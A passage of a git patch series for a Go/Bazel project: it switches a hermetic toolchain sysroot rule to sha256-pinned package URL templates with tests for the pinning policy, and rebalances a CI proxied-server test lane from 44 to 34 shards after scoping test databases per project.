"_amd64.deb") || !sha256HexRE.MatchString(sum) { + errs = append(errs, errors.New(name+" package "+path+" must be an amd64 pool .deb pinned by sha256")) + } + // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, + // so the sysroot offers no ICU to link against. + if strings.Contains(path, "/icu/") { + errs = append(errs, errors.New(name+" package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) } } return errs } +// debSysrootURLs returns a deb_sysroot call's url templates: an inline list, +// or a top-level MODULE.bazel list constant. +func debSysrootURLs(module, call string) ([]string, error) { + m := regexp.MustCompile(`(?s)urls = (\[.*?\]|[A-Z][A-Z0-9_]*),`).FindStringSubmatch(call) + if m == nil { + return nil, errors.New("no urls") + } + list := m[1] + if !strings.HasPrefix(list, "[") { + def := regexp.MustCompile(`(?ms)^` + list + ` = (\[.*?^\])`).FindStringSubmatch(module) + if def == nil { + return nil, errors.New("urls names " + list + ", which MODULE.bazel does not define as a list") + } + list = def[1] + } + var urls []string + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(list, -1) { + urls = append(urls, q[1]) + } + if len(urls) == 0 { + return nil, errors.New("no urls") + } + return urls, nil +} + // checkHermeticLLVMSlice: a sliced llvm_dist downloads only from a // gastownhall release, and its members equal the repack script's list, so // the pinned slice can be rebuilt from upstream and checked file by file. @@ -240,12 +305,16 @@ func TestBazelHermeticCCToolchainGuards(t *testing.T) { module := `bazel_dep(name = "rules_go", version = "0.63.0") bazel_dep(name = "toolchains_llvm", version = "1.11.0") +NOBLE_DEB_URLS = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb", + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}", + "https://launchpad.net/ubuntu/+archive/primary/+files/{file}", + "https://archive.ubuntu.com/ubuntu/{path}", +] + deb_sysroot( name = "cc_sysroot_noble_amd64", - mirrors = [ - "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", - "https://archive.ubuntu.com/ubuntu/", - ], + urls = NOBLE_DEB_URLS, packages = { "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "` + sum + `", }, @@ -293,7 +362,14 @@ llvm.sysroot( "other-host dist version": strings.Replace(module, "llvm_version = LLVM_VERSION", `llvm_version = "17.0.6"`, 1), "other-host dist versions": strings.Replace(module, `llvm_versions = {"": LLVM_VERSION},`, "", 1), "unpinned LLVM": strings.Replace(module, ` sha256 = "`+sum+`",`+"\n)", "\n)", 1), - "moving mirror first": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/",`, "", 1), + "moving mirror first": strings.Replace(module, `"https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb",`, `"https://archive.ubuntu.com/ubuntu/{path}",`, 1), + "no snapshot": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}",`, "", 1), + "moving snapshot": strings.Replace(module, "/ubuntu/20261001T000000Z/{path}", "/ubuntu/{path}", 1), + "single host": strings.NewReplacer(`"https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb",`, "", `"https://launchpad.net/ubuntu/+archive/primary/+files/{file}",`, "", `"https://archive.ubuntu.com/ubuntu/{path}",`, "").Replace(module), + "package-blind url": strings.Replace(module, "/+files/{file}", "/+files/libc6.deb", 1), + "unknown placeholder": strings.Replace(module, "/+files/{file}", "/+files/{name}", 1), + "undefined url list": strings.Replace(module, "urls = NOBLE_DEB_URLS,", "urls = OTHER_URLS,", 1), + "no urls": strings.Replace(module, "urls = NOBLE_DEB_URLS,", "", 1), "unpinned package": strings.Replace(module, `_amd64.deb": "`+sum+`"`, `_amd64.deb": ""`, 1), "ICU in sysroot": strings.Replace(module, " packages = {\n", " packages = {\n \"pool/main/i/icu/libicu74_74.2-1ubuntu3.1_amd64.deb\": \""+sum+"\",\n", 1), "sysroot other targets": strings.Replace(module, "label = \""+hermeticCCSysrootLabel+"\",\n targets = [\"linux-x86_64\"]", "label = \""+hermeticCCSysrootLabel+"\",\n targets = []", 1), diff --git a/third_party/cc_toolchain/deb_sysroot.bzl b/third_party/cc_toolchain/deb_sysroot.bzl index ae96aa392..809476f93 100644 --- a/third_party/cc_toolchain/deb_sysroot.bzl +++ b/third_party/cc_toolchain/deb_sysroot.bzl @@ -1,7 +1,9 @@ """deb_sysroot: a C/C++ sysroot assembled from pinned Debian/Ubuntu packages. Every package is fetched by sha256, so the sysroot is byte-identical on every -host. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, +host whichever source served it; the sources are only an availability chain. +All packages download concurrently (Bazel bounds it by +--http_max_parallel_downloads), each trying its URLs in order. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, libstdc++ and ICU headers and link libraries that cgo targets need, instead of whatever the host has under /usr. """ @@ -23,20 +25,30 @@ grep -rlI --include='*.so' 'GROUP' usr/lib | while IFS= read -r s; do done """ +def _package_urls(templates, path, sha256): + return [ + t.format(path = path, file = path.rsplit("/", 1)[-1], sha256 = sha256) + for t in templates + ] + def _deb_sysroot_impl(rctx): + pending = [] for path, sha256 in rctx.attr.packages.items(): - name = path.rsplit("/", 1)[-1] - deb = "_debs/" + name - rctx.download( - url = [mirror + path for mirror in rctx.attr.mirrors], + deb = "_debs/" + path.rsplit("/", 1)[-1] + pending.append((deb, rctx.download( + url = _package_urls(rctx.attr.urls, path, sha256), output = deb, sha256 = sha256, - ) - unpacked = "_debs/" + name + ".d" + block = False, + ))) + for _, download in pending: + download.wait() + for deb, _ in pending: + unpacked = deb + ".d" rctx.extract(deb, output = unpacked) data = [f for f in rctx.path(unpacked).readdir() if f.basename.startswith("data.tar")] if len(data) != 1: - fail("%s: expected one data.tar.* member, found %s" % (name, data)) + fail("%s: expected one data.tar.* member, found %s" % (deb, data)) rctx.extract(data[0], output = ".") rctx.delete("_debs") @@ -67,11 +79,12 @@ deb_sysroot = repository_rule( attrs = { "packages": attr.string_dict( mandatory = True, - doc = "Pool path (relative to each mirror) to the .deb's sha256.", + doc = "Pool path (pool//...) to the .deb's sha256.", ), - "mirrors": attr.string_list( + "urls": attr.string_list( mandatory = True, - doc = "Archive roots tried in order; the first is an immutable snapshot.", + doc = "URL templates tried in order for every package: {path} is the pool " + + "path, {file} its basename and {sha256} its pinned digest.", ), "remove": attr.string_list( doc = "Bash globs (globstar) dropped after unpacking: docs, unused runtimes and archives.", From 7896abbfa8f6e791d20f4ae96a27ed9f3fa33077 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 18:22:08 +0000 Subject: [PATCH 192/325] ci(bazel): scope the proxied lane's shared-server projects to their own database (44 -> 34 shards) (#7436) * ci(bazel): scope the proxied lane's shared-server projects to their own database (44 -> 28 shards) //cmd/bd:bd_proxied_test spends nearly all its time in `bd init --proxied-server` against the shard's shared dolt sql-server. Measured where that goes (dolt query log): of ~2,031 statements per init, the ~220 INFORMATION_SCHEMA queries (migration guards and pre-repair probes) are ~80% of server time at a handful of databases, the 81 DOLT_COMMITs only ~0.5s. Dolt evaluates INFORMATION_SCHEMA by walking every database the session can see, so as root each init cost the server ~1.2 CPU-seconds more per database already on it (locally 6.7 CPU-s with 1 database, 21 with 11): a shard's k-th init paid for the k-1 projects before it. - proxied_shared_harness_test.go: newSharedProxiedProject now provisions the database server-side (root creates it plus a passwordless user of the same name with ALL on it and nothing else) and inits with --proxied-server-external-user, so each project's sessions see one database. newSharedProxiedRootProject keeps the old root/bd-creates-it shape for the four tests that need a server-wide privilege (DOLT_REMOTE remove, CREATE DATABASE, one compact statement); a run with the server log in test outputs showed no other denied statement. - Dropping finished databases instead was tried and rejected: a DROP DATABASE fails other sessions' in-flight INFORMATION_SCHEMA queries ("no root value found in session"), ~35 init failures per run. - No assertion changed. The bd-creates-the-database path stays covered by the root variant, the managed-local and non-shared init tests. - proxied_test_durations.json re-measured (two rbe-west runs): 19,618 -> 6,345 cost-seconds. 44 -> 28 shards, LPT-packed to ~227 per shard. rbe-west, --nocache_test_results (BEP attempt durations): before 44 shards, sum 6,063s, max 186s; scoped users at 44 shards, sum 2,337s, max 68s; at 20 shards, sum 1,950s, max 136s. Bead: ga-vnycm2.16 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): proxied lane 28 -> 34 shards for a <=100s slowest shard PR CI at 28 shards (~227 packed cost each): 2,285 shard-seconds, median 78s, but max 113s; equally packed shards spread up to 1.45x the median. 34 shards (~187 each) targets a slowest shard under 100s. Bead: ga-vnycm2.16 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/proxied-cmd-test-shards.txt | 430 ++++++++-------- .github/workflows/bazel.yml | 23 +- cmd/bd/BUILD.bazel | 6 +- ..._remote_remove_proxied_integration_test.go | 6 +- .../history_remote_frontdoor_matrix_test.go | 2 +- ...nance_commands_proxied_integration_test.go | 2 +- cmd/bd/proxied_shared_harness_test.go | 82 +++- ...multistatement_proxied_integration_test.go | 2 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/TESTING.md | 4 +- scripts/ci/gen_proxied_shard_manifest.py | 7 +- scripts/ci/proxied_test_durations.json | 461 +++++++++--------- scripts/shard_manifest_test.go | 2 +- 13 files changed, 546 insertions(+), 483 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 195ff2c5f..42a1fc999 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -225,12 +225,12 @@ # # Format: # -# 44-shard split for the Bazel-only proxied-server tier +# 34-shard split for the Bazel-only proxied-server tier # (bazel-proxied in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/proxied_test_durations.json (see that file for # provenance and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 44 +# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 34 # --weights=duration --write after adding or removing # TestProxiedServer*/TestServerMode* functions. --write is incremental: # it keeps every already-assigned test on its current shard and only @@ -252,254 +252,244 @@ # regeneration. Add them to the generator or the durations file # instead. -44 1 TestProxiedServerDep2 -44 1 TestProxiedServerServeAddDependencies +34 1 TestProxiedServerDep2 +34 1 TestProxiedServerMolProgress +34 1 TestProxiedServerReadyClaimConcurrent +34 1 TestProxiedServerServeActivatesTheEventsJournal +34 1 TestProxiedServerServeRelease -44 2 TestProxiedServerClose2 -44 2 TestProxiedServerCount -44 2 TestProxiedServerEventsJournalOffByDefault -44 2 TestProxiedServerServeRefusesAStreamOnADisabledJournal +34 2 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge +34 2 TestProxiedServerGateList +34 2 TestProxiedServerList +34 2 TestProxiedServerServeRemoveDependency +34 2 TestProxiedServerUpdateC -44 3 TestProxiedServerEventsJournal -44 3 TestProxiedServerServeReadsTheJournalItJustWrote -44 3 TestProxiedServerUpdate3 -44 3 TestServerModeSharedServeGlobalReportsTheServedDatabase +34 3 TestProxiedServerAutoPrune +34 3 TestProxiedServerClose2B +34 3 TestProxiedServerEventsJournalOffByDefault +34 3 TestProxiedServerMolLastActivity +34 3 TestProxiedServerPurgeWispsPlaneRetention +34 3 TestProxiedServerServeLifecycle +34 3 TestProxiedServerStatuses -44 4 TestProxiedServerClose2B -44 4 TestProxiedServerOutageReconnectAcceptanceMatrix -44 4 TestProxiedServerServeDelete -44 4 TestProxiedServerSetState +34 4 TestProxiedServerMolStale +34 4 TestProxiedServerReadyConcurrent +34 4 TestProxiedServerServeRelatedIssues +34 4 TestProxiedServerServeSettingsWrites +34 4 TestProxiedServerShow2 +34 4 TestServerModeServeSkipsPostRunMaintenance -44 5 TestProxiedServerCreateInfraTypeRoutesToWisps -44 5 TestProxiedServerHuman -44 5 TestProxiedServerListComments -44 5 TestProxiedServerServeClaimNext +34 5 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix +34 5 TestProxiedServerInfo +34 5 TestProxiedServerNote +34 5 TestProxiedServerOutageReconnectAcceptanceMatrix +34 5 TestProxiedServerUpdate3 +34 5 TestServerModeDeferAutoWake -44 6 TestProxiedServerAssign -44 6 TestProxiedServerCompactDolt -44 6 TestProxiedServerHistory -44 6 TestProxiedServerIfRevisionGuardDelete -44 6 TestProxiedServerKV -44 6 TestProxiedServerServeStreamsTheJournalItIsWriting +34 6 TestProxiedServerPing +34 6 TestProxiedServerQuick +34 6 TestProxiedServerServeReadsTheJournalItJustWrote +34 6 TestProxiedServerSwarm +34 6 TestProxiedServerUpdate2B +34 6 TestProxiedServerWispList -44 7 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce -44 7 TestProxiedServerDoltLifecycle -44 7 TestProxiedServerGateFrontDoorDirectServerProxyParity -44 7 TestProxiedServerIfRevisionGuardClose -44 7 TestProxiedServerMolDistill -44 7 TestProxiedServerPathHelpers -44 7 TestProxiedServerStorageClass -44 7 TestServerModeServe +34 7 TestProxiedServerCloseConcurrent +34 7 TestProxiedServerCreateInfraTypeRoutesToWisps +34 7 TestProxiedServerExternalCreate +34 7 TestProxiedServerIfRevisionGuardDelete +34 7 TestProxiedServerLabelC +34 7 TestProxiedServerTypesAgreeWithCreate -44 8 TestProxiedServerDelete -44 8 TestProxiedServerPourRejectsEnumViolatingVar -44 8 TestProxiedServerSQL -44 8 TestProxiedServerTag -44 8 TestProxiedServerUpdate2B +34 8 TestProxiedServerClose2 +34 8 TestProxiedServerDeleteWisp +34 8 TestProxiedServerExport +34 8 TestProxiedServerFindDuplicates +34 8 TestProxiedServerGateCheck +34 8 TestProxiedServerServeReadParity -44 9 TestProxiedServerConfigSetMany -44 9 TestProxiedServerReopen -44 9 TestProxiedServerServeClaim -44 9 TestProxiedServerUnclaimIfAssigneeParity -44 9 TestProxiedServerUpdateConcurrentAppendNotes +34 9 TestProxiedServerCloseSiblingBlockersFanIn +34 9 TestProxiedServerGateLifecycle +34 9 TestProxiedServerHistoryRemoteSupportedFrontDoorParity +34 9 TestProxiedServerIfRevisionGuardReopen +34 9 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled +34 9 TestProxiedServerUpdate +34 9 TestServerModeServe -44 10 TestProxiedServerDeleteBlockedJSONSingleDoc -44 10 TestProxiedServerLink -44 10 TestProxiedServerPriority -44 10 TestProxiedServerReadyWisp -44 10 TestProxiedServerServeAddComment +34 10 TestProxiedServerContext +34 10 TestProxiedServerCreate2B +34 10 TestProxiedServerGateCheckB +34 10 TestProxiedServerServeRefusesAStreamOnADisabledJournal +34 10 TestProxiedServerTypes +34 10 TestProxiedServerUpdate2C -44 11 TestProxiedServerAutoPrune -44 11 TestProxiedServerBatchParity -44 11 TestProxiedServerContext -44 11 TestProxiedServerCreate2 -44 11 TestProxiedServerExternalMutationPolicy +34 11 TestProxiedServerBatchParity +34 11 TestProxiedServerCompactHistory +34 11 TestProxiedServerPour +34 11 TestProxiedServerQuery +34 11 TestProxiedServerReady +34 11 TestProxiedServerServeAddDependencies -44 12 TestProxiedServerExternalCreate -44 12 TestProxiedServerServeRelatedIssues -44 12 TestProxiedServerUpdate -44 12 TestProxiedServerWispList -44 12 TestServerModeTypesAgreeWithCreate +34 12 TestProxiedServerBlocked +34 12 TestProxiedServerChildren +34 12 TestProxiedServerCleanDatabases +34 12 TestProxiedServerReadyB +34 12 TestProxiedServerReadyWisp +34 12 TestProxiedServerReclaim +34 12 TestProxiedServerUnclaim -44 13 TestProxiedServerCreate -44 13 TestProxiedServerRecomputeBlocked -44 13 TestProxiedServerServeUpdate -44 13 TestProxiedServerShow2 -44 13 TestProxiedServerStale +34 13 TestProxiedServerCompactDolt +34 13 TestProxiedServerCreate2 +34 13 TestProxiedServerGraph +34 13 TestProxiedServerMolSquash +34 13 TestProxiedServerPromote +34 13 TestProxiedServerServeRefusesAStaleCheckpointWithGone -44 14 TestProxiedServerMolSquash -44 14 TestProxiedServerQuick -44 14 TestProxiedServerServeReadParity -44 14 TestProxiedServerServeRefusesAStaleCheckpointWithGone -44 14 TestProxiedServerShow2B +34 14 TestProxiedServerAssign +34 14 TestProxiedServerCloseB +34 14 TestProxiedServerDuplicates +34 14 TestProxiedServerHeartbeat +34 14 TestProxiedServerInitIfMissing +34 14 TestProxiedServerMolReadyGated -44 15 TestProxiedServerCountIncludeInfra -44 15 TestProxiedServerDeleteForceOrphans -44 15 TestProxiedServerDuplicates -44 15 TestProxiedServerLabel -44 15 TestProxiedServerServeBatchClose +34 15 TestProxiedServerDepConcurrent +34 15 TestProxiedServerImport +34 15 TestProxiedServerMoleculeFrontDoorWriteParity +34 15 TestProxiedServerReopenConcurrent +34 15 TestProxiedServerSQL -44 16 TestProxiedServerHistoryRemoteSupportedFrontDoorParity -44 16 TestProxiedServerQuery -44 16 TestProxiedServerSQLDatabaseFlag -44 16 TestProxiedServerShowB -44 16 TestProxiedServerWispCreate +34 16 TestProxiedServerBackupRefusedOnExternalTopology +34 16 TestProxiedServerCascadeParity +34 16 TestProxiedServerConfigSetMany +34 16 TestProxiedServerKV +34 16 TestProxiedServerServeCount +34 16 TestProxiedServerServeCreate +34 16 TestProxiedServerUpdateHooks -44 17 TestProxiedServerDoltRemoteRemove -44 17 TestProxiedServerImport -44 17 TestProxiedServerLint -44 17 TestProxiedServerServeEdgeCounts -44 17 TestProxiedServerStatus +34 17 TestProxiedServerDep +34 17 TestProxiedServerMultiStatementSQL +34 17 TestProxiedServerOrphans +34 17 TestProxiedServerPrime +34 17 TestProxiedServerSQLDatabaseFlag +34 17 TestProxiedServerServeModeGate -44 18 TestProxiedServerCloseConcurrent -44 18 TestProxiedServerDep2C -44 18 TestProxiedServerEdit -44 18 TestProxiedServerIfRevisionGuardUpdate -44 18 TestProxiedServerSearch +34 18 TestProxiedServerClose3 +34 18 TestProxiedServerCount +34 18 TestProxiedServerCountIncludeInfra +34 18 TestProxiedServerDoltRemoteRemove +34 18 TestProxiedServerMolShow +34 18 TestProxiedServerWispCreateRejectsEnumViolatingVar -44 19 TestProxiedServerServeClose -44 19 TestProxiedServerTypesAgreeWithCreate -44 19 TestProxiedServerUpdate2 -44 19 TestProxiedServerUpdateClosePolicy +34 19 TestProxiedServerCreate +34 19 TestProxiedServerMolCurrent +34 19 TestProxiedServerServeBatchClose +34 19 TestProxiedServerShow3 +34 19 TestServerModeTypesAgreeWithCreate -44 20 TestProxiedServerDeferAutoWake -44 20 TestProxiedServerEpic -44 20 TestProxiedServerIfRevisionGuardReopen -44 20 TestProxiedServerInitIfMissing -44 20 TestProxiedServerReopenB -44 20 TestProxiedServerUpdateIfGuards +34 20 TestProxiedServerDelete +34 20 TestProxiedServerLint +34 20 TestProxiedServerPriority +34 20 TestProxiedServerShow2B +34 20 TestProxiedServerWispGC +34 20 TestServerModeSharedServeGlobalReportsTheServedDatabase -44 21 TestProxiedServerBlocked -44 21 TestProxiedServerCleanDatabases -44 21 TestProxiedServerConfig -44 21 TestProxiedServerMolShow -44 21 TestProxiedServerPing -44 21 TestProxiedServerServeActivatesTheEventsJournal +34 21 TestProxiedServerConfig +34 21 TestProxiedServerExternalPolicyDirectParity +34 21 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity +34 21 TestProxiedServerPathHelpers +34 21 TestProxiedServerPrune +34 21 TestProxiedServerServeClose +34 21 TestProxiedServerUnclaimIfAssigneeParity -44 22 TestProxiedServerCloseBeadGate -44 22 TestProxiedServerExternalPolicyDirectParity -44 22 TestProxiedServerFindDuplicates -44 22 TestProxiedServerReadyB -44 22 TestProxiedServerServeCreate +34 22 TestProxiedServerGateCreateInheritsRepoMetadata +34 22 TestProxiedServerRecomputeBlocked +34 22 TestProxiedServerServeEdgeCounts +34 22 TestProxiedServerTag +34 22 TestProxiedServerUpdateB +34 22 TestProxiedServerUpdateConcurrentMetadata -44 23 TestProxiedServerCloseSiblingBlockersFanIn -44 23 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity -44 23 TestProxiedServerPour -44 23 TestProxiedServerShow3 -44 23 TestProxiedServerUpdateConcurrentClaim +34 23 TestProxiedServerDep2B +34 23 TestProxiedServerIfRevisionGuardUpdate +34 23 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows +34 23 TestProxiedServerMolBurn +34 23 TestProxiedServerServeUpdate +34 23 TestProxiedServerUpdateConcurrentClaim +34 23 TestProxiedServerUpdateWisp -44 24 TestProxiedServerLabelC -44 24 TestProxiedServerMemory -44 24 TestProxiedServerMolStale -44 24 TestProxiedServerServeUpdateClaim -44 24 TestProxiedServerSwarm +34 24 TestProxiedServerDeleteBlockedJSONSingleDoc +34 24 TestProxiedServerDeleteForceOrphans +34 24 TestProxiedServerHuman +34 24 TestProxiedServerIfRevisionGuardAssign +34 24 TestProxiedServerListComments +34 24 TestProxiedServerListSortRetiresTheWalk +34 24 TestProxiedServerShowWatch +34 24 TestProxiedServerUpdateIfGuards -44 25 TestProxiedServerHeartbeat -44 25 TestProxiedServerMolLastActivity -44 25 TestProxiedServerReassignFence -44 25 TestProxiedServerStatuses -44 25 TestProxiedServerUpdateWisp +34 25 TestProxiedServerInitExplicitBeadsDirIsAuthoritative +34 25 TestProxiedServerSetState +34 25 TestProxiedServerShow +34 25 TestProxiedServerShowB +34 25 TestProxiedServerStale +34 25 TestProxiedServerWispCreate -44 26 TestProxiedServerGraph -44 26 TestProxiedServerMolBond -44 26 TestProxiedServerServeReadRevision -44 26 TestProxiedServerTodo -44 26 TestProxiedServerUpdateHooks +34 26 TestProxiedServerDeferAutoWake +34 26 TestProxiedServerExternalMutationPolicy +34 26 TestProxiedServerReopenB +34 26 TestProxiedServerSearch +34 26 TestProxiedServerServeClaim +34 26 TestProxiedServerShow3B -44 27 TestProxiedServerCreate2B -44 27 TestProxiedServerGateList -44 27 TestProxiedServerGatedRendering -44 27 TestProxiedServerReopenConcurrent -44 27 TestProxiedServerSQLStatementRouting +34 27 TestProxiedServerDeferUndefer +34 27 TestProxiedServerGatedRendering +34 27 TestProxiedServerHistory +34 27 TestProxiedServerLabel +34 27 TestProxiedServerLabelB +34 27 TestProxiedServerUpdateClosePolicy -44 28 TestProxiedServerComment -44 28 TestProxiedServerMolProgress -44 28 TestProxiedServerServeCount -44 28 TestProxiedServerServeRemoveDependency -44 28 TestProxiedServerUpdateB +34 28 TestProxiedServerDep2C +34 28 TestProxiedServerDoltLifecycle +34 28 TestProxiedServerReady2 +34 28 TestProxiedServerReassignFence +34 28 TestProxiedServerSQLStatementRouting +34 28 TestProxiedServerServeClaimNext +34 28 TestProxiedServerUpdateConcurrentAppendNotes -44 29 TestProxiedServerCreate2C -44 29 TestProxiedServerDep -44 29 TestProxiedServerDepConcurrent -44 29 TestProxiedServerServeSettingsWrites -44 29 TestProxiedServerWispCreateRejectsEnumViolatingVar +34 29 TestProxiedServerGateFrontDoorDirectServerProxyParity +34 29 TestProxiedServerMolDistill +34 29 TestProxiedServerReopen +34 29 TestProxiedServerServeDelete +34 29 TestProxiedServerState -44 30 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge -44 30 TestProxiedServerInfo -44 30 TestProxiedServerPrime -44 30 TestProxiedServerUpdateC -44 30 TestServerModeServeSkipsPostRunMaintenance +34 30 TestProxiedServerDeleteConcurrent +34 30 TestProxiedServerReadyC +34 30 TestProxiedServerServeAddComment +34 30 TestProxiedServerStatus +34 30 TestProxiedServerTodo +34 30 TestProxiedServerUpdate2 -44 31 TestProxiedServerCleanDatabasesPurgeDropped -44 31 TestProxiedServerGateLifecycle -44 31 TestProxiedServerPurgeWispsPlaneRetention -44 31 TestProxiedServerShow3B -44 31 TestServerModeDeferAutoWake +34 31 TestProxiedServerCloseBeadGate +34 31 TestProxiedServerComment +34 31 TestProxiedServerConfigB +34 31 TestProxiedServerEventsJournal +34 31 TestProxiedServerIfRevisionGuardClose +34 31 TestProxiedServerMolBond -44 32 TestProxiedServerClose3 -44 32 TestProxiedServerGC -44 32 TestProxiedServerList -44 32 TestProxiedServerReadyConcurrent -44 32 TestProxiedServerServeModeGate +34 32 TestProxiedServerCleanDatabasesPurgeDropped +34 32 TestProxiedServerConfigConcurrent +34 32 TestProxiedServerDepB +34 32 TestProxiedServerServeStreamsTheJournalItIsWriting +34 32 TestProxiedServerServeUpdateClaim +34 32 TestProxiedServerStorageClass -44 33 TestProxiedServerDeferUndefer -44 33 TestProxiedServerDepB -44 33 TestProxiedServerInitExplicitBeadsDirIsAuthoritative -44 33 TestProxiedServerMolBurn -44 33 TestProxiedServerOrphans +34 33 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +34 33 TestProxiedServerClose +34 33 TestProxiedServerGC +34 33 TestProxiedServerMemory +34 33 TestProxiedServerPourRejectsEnumViolatingVar +34 33 TestProxiedServerRelate -44 34 TestProxiedServerChildren -44 34 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix -44 34 TestProxiedServerPromote -44 34 TestProxiedServerServeRelease -44 34 TestProxiedServerUpdate2C - -44 35 TestProxiedServerConfigConcurrent -44 35 TestProxiedServerReady2 -44 35 TestProxiedServerShow - -44 36 TestProxiedServerDep2B -44 36 TestProxiedServerGateCreateInheritsRepoMetadata -44 36 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled -44 36 TestProxiedServerWispGC - -44 37 TestProxiedServerDeleteWisp -44 37 TestProxiedServerNote -44 37 TestProxiedServerReady -44 37 TestProxiedServerShowWatch - -44 38 TestProxiedServerBackupRefusedOnExternalTopology -44 38 TestProxiedServerCascadeParity -44 38 TestProxiedServerClose4 -44 38 TestProxiedServerReadyClaimConcurrent -44 38 TestProxiedServerReclaim - -44 39 TestProxiedServerGateCheck -44 39 TestProxiedServerLabelB -44 39 TestProxiedServerMoleculeFrontDoorWriteParity - -44 40 TestProxiedServerDeleteConcurrent -44 40 TestProxiedServerIfRevisionGuardAssign -44 40 TestProxiedServerReadyC -44 40 TestProxiedServerRelate - -44 41 TestProxiedServerMolCurrent -44 41 TestProxiedServerPrune -44 41 TestProxiedServerTypes -44 41 TestProxiedServerUnclaim - -44 42 TestProxiedServerClose -44 42 TestProxiedServerCompactHistory -44 42 TestProxiedServerState -44 42 TestProxiedServerUpdateConcurrentMetadata - -44 43 TestProxiedServerCloseB -44 43 TestProxiedServerConfigB -44 43 TestProxiedServerMultiStatementSQL - -44 44 TestProxiedServerExport -44 44 TestProxiedServerGateCheckB -44 44 TestProxiedServerListSortRetiresTheWalk -44 44 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows -44 44 TestProxiedServerMolReadyGated -44 44 TestProxiedServerServeLifecycle +34 34 TestProxiedServerClose4 +34 34 TestProxiedServerCreate2C +34 34 TestProxiedServerEdit +34 34 TestProxiedServerEpic +34 34 TestProxiedServerLink +34 34 TestProxiedServerServeReadRevision diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5922cf041..1be23c9fa 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1732,8 +1732,8 @@ jobs: # Like pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", # as --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the shard # script, so shard k runs exactly that manifest entry's tests. This lane - # runs 44 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's - # duration-balanced 44-block; see scripts/ci/proxied_test_durations.json), + # runs 34 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's + # duration-balanced 34-block; see scripts/ci/proxied_test_durations.json), # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. @@ -1793,15 +1793,16 @@ jobs: fi # Remote: each shard's Go timeout is its job's 15m, 1200s Bazel cap, - # plus a compile. The 44-shard block is LPT-packed by + # plus a compile. The 34-shard block is LPT-packed by # scripts/ci/proxied_test_durations.json, a rbe-west capture of each - # top-level test's summed leaf-test time (see its header). Packed to - # <=430 cost-seconds per shard, and a shard's wall time ran ~0.3x its - # packed cost on the lane's executors (-test.parallel=4), so shards - # are expected around 100-150s. Nearly all of that is `bd init - # --proxied-server` against the shard's dolt sql-server, ~one per - # subtest; a shard running far longer than its packed cost is worth - # comparing against this job's recent history before assuming a hang. + # top-level test's summed leaf-test time (see its header), to ~187 + # cost-seconds per shard; shards are expected around 55-95s (the same + # packed cost has run up to 1.45x the median wall time). Nearly + # all of that is `bd init --proxied-server` against the shard's dolt + # sql-server, ~one per subtest, each as a user scoped to its own + # database (cmd/bd/proxied_shared_harness_test.go); a shard running far + # longer is worth comparing against this job's recent history before + # assuming a hang. - name: bazel test //... --config=doltserver-proxied id: test timeout-minutes: 25 @@ -1830,7 +1831,7 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 44 + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 34 - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 6dc8c19db..f725268ee 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1443,8 +1443,8 @@ sh_test( tags = ["embedded"], ) -# Runs 44 Bazel shards against the TestProxiedServer*/TestServerMode* -# functions, assigned by the manifest's 44-shard block (duration-balanced; +# Runs 34 Bazel shards against the TestProxiedServer*/TestServerMode* +# functions, assigned by the manifest's 34-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's # (race) bd_test with 